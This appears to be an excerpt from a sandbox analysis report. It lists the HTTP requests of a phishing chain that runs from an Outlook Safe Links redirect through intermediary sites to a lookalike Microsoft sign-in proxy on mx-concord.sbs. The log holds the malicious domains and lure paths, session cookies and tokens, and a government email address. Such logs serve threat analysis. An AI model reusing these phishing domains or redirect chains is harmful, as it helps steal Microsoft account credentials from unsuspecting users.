Source: global traffic	HTTP traffic detected: GET /?url=https%3A%2F%2Fapi.emailinc.net%2Fc.jsp%3Fl%3D47tqdjb4%26s%3Dx88b4wkuqe%2523dfsdtosprzvzvrezddwsssfujcrmy&data=05%7C02%7Cfchun%40santaclaraca.gov%7Cd42eb09f396a4d88f53a08dcc773c040%7C28ea354810694e81aa0b6e4b3271a5cb%7C0%7C0%7C638604548020847503%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C40000%7C%7C%7C&sdata=AckqBHV5qsCwN%2FCw%2F20sZvnkf6KYipPkgDNNzPKfaLk%3D&reserved=0 HTTP/1.1Host: gcc02.safelinks.protection.outlook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: 96f04cf4-b128254c.mx-concord.sbsConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_92013fd9f2f609d397ae.js HTTP/1.1Host: 96f04cf4-b128254c.mx-concord.sbsConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
Source: global traffic	HTTP traffic detected: GET /c.jsp?l=47tqdjb4&s=x88b4wkuqe%23dfsdtosprzvzvrezddwsssfujcrmy HTTP/1.1Host: api.emailinc.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-about/ HTTP/1.1Host: willyadventures.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /vm/Oauth-vm-office-caller-api/win10.php HTTP/1.1Host: avco.co.jpConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://willyadventures.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /b128254cc16e4b1faaf8773d457e256b/ HTTP/1.1Host: portal.mx-concord.sbsConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://portal.mx-concord.sbsSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; brcap=0Sec-WebSocket-Key: 9UlBy97zUIJCiI0FNYTxTw==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /?lit=up HTTP/1.1Host: portal.mx-concord.sbsConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://avco.co.jp/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; brcap=0
Source: global traffic	HTTP traffic detected: GET /b128254cc16e4b1faaf8773d457e256b/ HTTP/1.1Host: portal.mx-concord.sbsConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://portal.mx-concord.sbsSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; brcap=0Sec-WebSocket-Key: 7WfLBKiJXG8fRHw71fpy1Q==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /Prefetch/Prefetch.aspx HTTP/1.1Host: 2380eb27-b128254c.mx-concord.sbsConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://portal.mx-concord.sbs/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
Source: global traffic	HTTP traffic detected: GET /b128254cc16e4b1faaf8773d457e256b/ HTTP/1.1Host: portal.mx-concord.sbsConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://portal.mx-concord.sbsSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; brcap=0Sec-WebSocket-Key: FhqX3rAASo6FT+DHIY5tpw==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /b128254cc16e4b1faaf8773d457e256b/ HTTP/1.1Host: portal.mx-concord.sbsConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://portal.mx-concord.sbsSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; brcap=0Sec-WebSocket-Key: MGkUI6CjhVEeCAnSkbUSYQ==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1Host: 96f04cf4-b128254c.mx-concord.sbsConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://portal.mx-concord.sbs/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1Host: 96f04cf4-b128254c.mx-concord.sbsConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://portal.mx-concord.sbs/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1Host: 96f04cf4-b128254c.mx-concord.sbsConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1Host: 96f04cf4-b128254c.mx-concord.sbsConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
Source: global traffic	HTTP traffic detected: GET /common/GetCredentialType?mkt=en-US HTTP/1.1Host: portal.mx-concord.sbsConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; brcap=0
Source: global traffic	HTTP traffic detected: GET /oauth20_authorize.srf?scope=openid+profile+email+offline_access&response_type=code&client_id=51483342-085c-4d86-bf88-cf50c7252078&response_mode=form_post&redirect_uri=https%3a%2f%2fportal.mx-concord.sbs%2fcommon%2ffederation%2foauth2msa&state=rQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAROvbl192LRaa-Gv9z3LAw142YxcsbnZJaBVa5iVCZsnP4FRsYXjIy3mAT9i9I9U8KL3VJTUosSSzLz8y6wCLxi4TFgtuLg4BJgkGBQYPjBwriIFWir1i31y3k50h7NQV9Sk7O9GU6x6vsFOgYHeRUmhTv5OmdElgdkBZkUeZubVJimllp4eiZ5OBUYpBl4ZlU6FufbmlsZTmATmsDGdIqN4QMbYwc7wyx2hgOcjBt4GA_wMvzgu7xtwbt3nze-83jFr1MQUhjoE-SW7FcUUZ5ZVRleaRBl5FuZ4ZORamocnJEZYuCbXZVnaBhhEuxru0GA4YEAAwA1&estsfed=1&uaid=dddaecca72d14acb80fd0bde3831295e&fci=https%3a%2f%2fc188f54d-b128254c.mx-concord.sbs&username=bob%40gmail.com&login_hint=bob%40gmail.com HTTP/1.1Host: l1ve.mx-concord.sbsConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://portal.mx-concord.sbs/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
Source: global traffic	HTTP traffic detected: GET /b128254cc16e4b1faaf8773d457e256b/ HTTP/1.1Host: portal.mx-concord.sbsConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://portal.mx-concord.sbsSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; brcap=0; ESTSWCTXFLOWTOKEN=AQABIQEAAAApTwJmzXqdR4BN2miheQMYlFCpZ59JsLeiNocVPGB1aE4YT_oiZxqHwUy8O85bvoB7EaS6t2CQti7XSQMMw9SSpGGiSG1TQYHKvuW8Uh-1bK0eBSKRQzLf0jcBUtNg2JDo-RYurWf55TxkBXKNt-8WsJc1rOvCAOKLkSedas65tlM0_UkRjc-J9S-M4JtFbQ72PbrcbywcIQy2Y1JlSBZGAJzSVYjngNJSpnzvT-UJibRetVAii6KOe8i7pdGpuvvI3j9D2hnVRmYqFYLYWIN16-tNuqFFYaTgFmCuLI-4g3neXbML01qSbNp7Mj0_A_lF2Q0AunFq5NhkO4M3wttL7tpTHr4cV6O5wc2S9zpQd2rn7087cdF8Nk4x-m29CAejHFyxLBzg66xK8WxDWJ7hshbNvn6ChPz6V95h7Kr_BCUO8cFUAwbIkU4x2tjDipm0H4JMJln_6_26RZrW6hX7BaU6D2Q791YNlUgXd12QBMis2xPis8zP-v9Xao27HiaQKc9iOSvPJ-oE53rqiTrTIAASec-WebSocket-Key: TLL5CI9Vs+GCV9VTvXR7YA==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /shared/5/js/login_en_uUOwd3YLall49Tk7iIh1aA2.js HTTP/1.1Host: 995a2a74-b128254c.mx-concord.sbsConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://l1ve.mx-concord.sbssec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://l1ve.mx-concord.sbs/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /b128254cc16e4b1faaf8773d457e256b/ HTTP/1.1Host: l1ve.mx-concord.sbsConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://l1ve.mx-concord.sbsSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="Sec-WebSocket-Key: ma4z43WPHP7g1KXWAUK+JA==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /shared/5/js/login_en_uUOwd3YLall49Tk7iIh1aA2.js HTTP/1.1Host: 995a2a74-b128254c.mx-concord.sbsConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
Source: global traffic	HTTP traffic detected: GET /shared/5/chunks/oneds-analytics-js_077217740c853b5d4fe8.js HTTP/1.1Host: 995a2a74-b128254c.mx-concord.sbsConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://l1ve.mx-concord.sbssec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://l1ve.mx-concord.sbs/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/5/images/microsoft_logo_ee5c8d9fb6248c938fd0.svg HTTP/1.1Host: 995a2a74-b128254c.mx-concord.sbsConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://l1ve.mx-concord.sbs/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
Source: global traffic	HTTP traffic detected: GET /shared/5/images/2_bc3d32a696895f78c19d.svg HTTP/1.1Host: 995a2a74-b128254c.mx-concord.sbsConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://l1ve.mx-concord.sbs/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
Source: global traffic	HTTP traffic detected: GET /GetExperimentAssignments.srf HTTP/1.1Host: l1ve.mx-concord.sbsConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
Source: global traffic	HTTP traffic detected: GET /b128254cc16e4b1faaf8773d457e256b/ HTTP/1.1Host: l1ve.mx-concord.sbsConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://l1ve.mx-concord.sbsSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="Sec-WebSocket-Key: jwIrVMXqx8kl6tkQbZQ5jg==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /shared/5/images/2_bc3d32a696895f78c19d.svg HTTP/1.1Host: 995a2a74-b128254c.mx-concord.sbsConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
Source: global traffic	HTTP traffic detected: GET /shared/5/images/microsoft_logo_ee5c8d9fb6248c938fd0.svg HTTP/1.1Host: 995a2a74-b128254c.mx-concord.sbsConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
Source: global traffic	HTTP traffic detected: GET /shared/5/chunks/oneds-analytics-js_077217740c853b5d4fe8.js HTTP/1.1Host: 995a2a74-b128254c.mx-concord.sbsConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
Source: global traffic	HTTP traffic detected: GET /16.000.30324.2/images/favicon.ico HTTP/1.1Host: 995a2a74-b128254c.mx-concord.sbsConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://l1ve.mx-concord.sbs/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
